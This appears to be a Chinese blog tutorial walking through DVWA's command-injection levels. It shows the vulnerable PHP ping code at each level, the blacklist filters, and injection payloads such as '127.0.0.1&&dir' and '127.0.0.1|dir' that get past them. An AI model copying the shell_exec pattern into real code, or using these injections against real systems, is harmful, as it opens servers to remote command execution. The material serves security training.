命令执行绕过
1、常用方法
使用&&、:、|、||绕过
| 连接字符 | 方式 | 执行方式 |
|---|---|---|
| && | A&&B | A执行成功才执行B,A执行失败B不执行 |
| & | A&B | A、B都执行 |
| ; | A;B | windows下不执行,linux下都执行 |
| || | A||B | A执行成功则只执行A,否则执行B |
| | | A|B | 直接执行B |
low等级代码:
<?php
if( isset( $_POST[ 'Submit' ] ) ) {
// Get input
$target = $_REQUEST[ 'ip' ];
// Determine OS and execute the ping command.
if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
// Windows
$cmd = shell_exec( 'ping ' . $target );
}
else {
// *nix
$cmd = shell_exec( 'ping -c 4 ' . $target );
}
// Feedback for the end user
echo "<pre>{$cmd}</pre>";
}
?>
没做任何过滤,对操作系统类型进行了判断
php_uname ([ string $mode = "a" ] ) : string
php_uname — 返回运行 PHP 的系统的有关信息
mode 是单个字符,用于定义要返回什么信息:
'a':此为默认。包含序列 "s n r v m" 里的所有模式。
's':操作系统名称。例如: FreeBSD。
'n':主机名。例如: localhost.example.com。
'r':版本名称,例如: 5.1.2-RELEASE。
'v':版本信息。操作系统之间有很大的不同。
'm':机器类型。例如:i386。
payload:
127.0.0.1&&dir
127.0.0.1&dir
127.0.0.1|dir
medium等级
<?php
if( isset( $_POST[ 'Submit' ] ) ) {
// Get input
$target = $_REQUEST[ 'ip' ];
// Set blacklist
$substitutions = array(
'&&' => '',
';' => '',
);
// Remove any of the charactars in the array (blacklist).
$target = str_replace( array_keys( $substitutions ), $substitutions, $target );
// Determine OS and execute the ping command.
if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
// Windows
$cmd = shell_exec( 'ping ' . $target );
}
else {
// *nix
$cmd = shell_exec( 'ping -c 4 ' . $target );
}
// Feedback for the end user
echo "<pre>{$cmd}</pre>";
}
?>
将&&与;加入黑名单
payload:
127.0.0.1|dir
127.0.0.1&dir
127.0.0.1&;&dir 经过过滤就变为127.0.0.1&&dir
high等级
<?php
if( isset( $_POST[ 'Submit' ] ) ) {
// Get input
$target = trim($_REQUEST[ 'ip' ]);
// Set blacklist
$substitutions = array(
'&' => '',
';' => '',
'| ' => '',
'-' => '',
'$' => '',
'(' => '',
')' => '',
'`' => '',
'||' => '',
);
// Remove any of the charactars in the array (blacklist).
$target = str_replace( array_keys( $substitutions ), $substitutions, $target );
// Determine OS and execute the ping command.
if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
// Windows
$cmd = shell_exec( 'ping ' . $target );
}
else {
// *nix
$cmd = shell_exec( 'ping -c 4 ' . $target );
}
// Feedback for the end user
echo "<pre>{$cmd}</pre>";
}
?>
对大部分字符进行了过滤,没有过滤|符号,过滤了|+空格
payload:
127.0.0.1|dir
impossible
<?php
if( isset( $_POST[ 'Submit' ] ) ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
// Get input
$target = $_REQUEST[ 'ip' ];
$target = stripslashes( $target );
// Split the IP into 4 octects
$octet = explode( ".", $target );
// Check IF each octet is an integer
if( ( is_numeric( $octet[0] ) ) && ( is_numeric( $octet[1] ) ) && ( is_numeric( $octet[2] ) ) && ( is_numeric( $octet[3] ) ) && ( sizeof( $octet ) == 4 ) ) {
// If all 4 octets are int's put the IP back together.
$target = $octet[0] . '.' . $octet[1] . '.' . $octet[2] . '.' . $octet[3];
// Determine OS and execute the ping command.
if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
// Windows
$cmd = shell_exec( 'ping ' . $target );
}
else {
// *nix
$cmd = shell_exec( 'ping -c 4 ' . $target );
}
// Feedback for the end user
echo "<pre>{$cmd}</pre>";
}
else {
// Ops. Let the user name theres a mistake
echo '<pre>ERROR: You have entered an invalid IP.</pre>';
}
}
// Generate Anti-CSRF token
generateSessionToken();
?>
$target = stripslashes( $target );
返回一个去除转义反斜线后的字符串(’ 转换为 ’ 等等)。双反斜线(\)被转换为单个反斜线(\)。
$octet = explode( “.”, $target );
使用一个字符串分割另一个字符串,即用点号将ip地址分割开
is_numeric 判断是否为数字或数字字符串,可以判断十六进制
如输入127.0.0.0x317C646972,不会报错显示不合法ip
本文探讨了命令执行绕过的基本方法,包括使用&&、:、|、||等字符进行命令组合,以及针对不同安全等级的代码示例进行攻击演示。从low到impossible等级的防御策略逐一解析,展示了如何利用未过滤的字符实现命令注入。
1394

被折叠的 条评论
为什么被折叠?



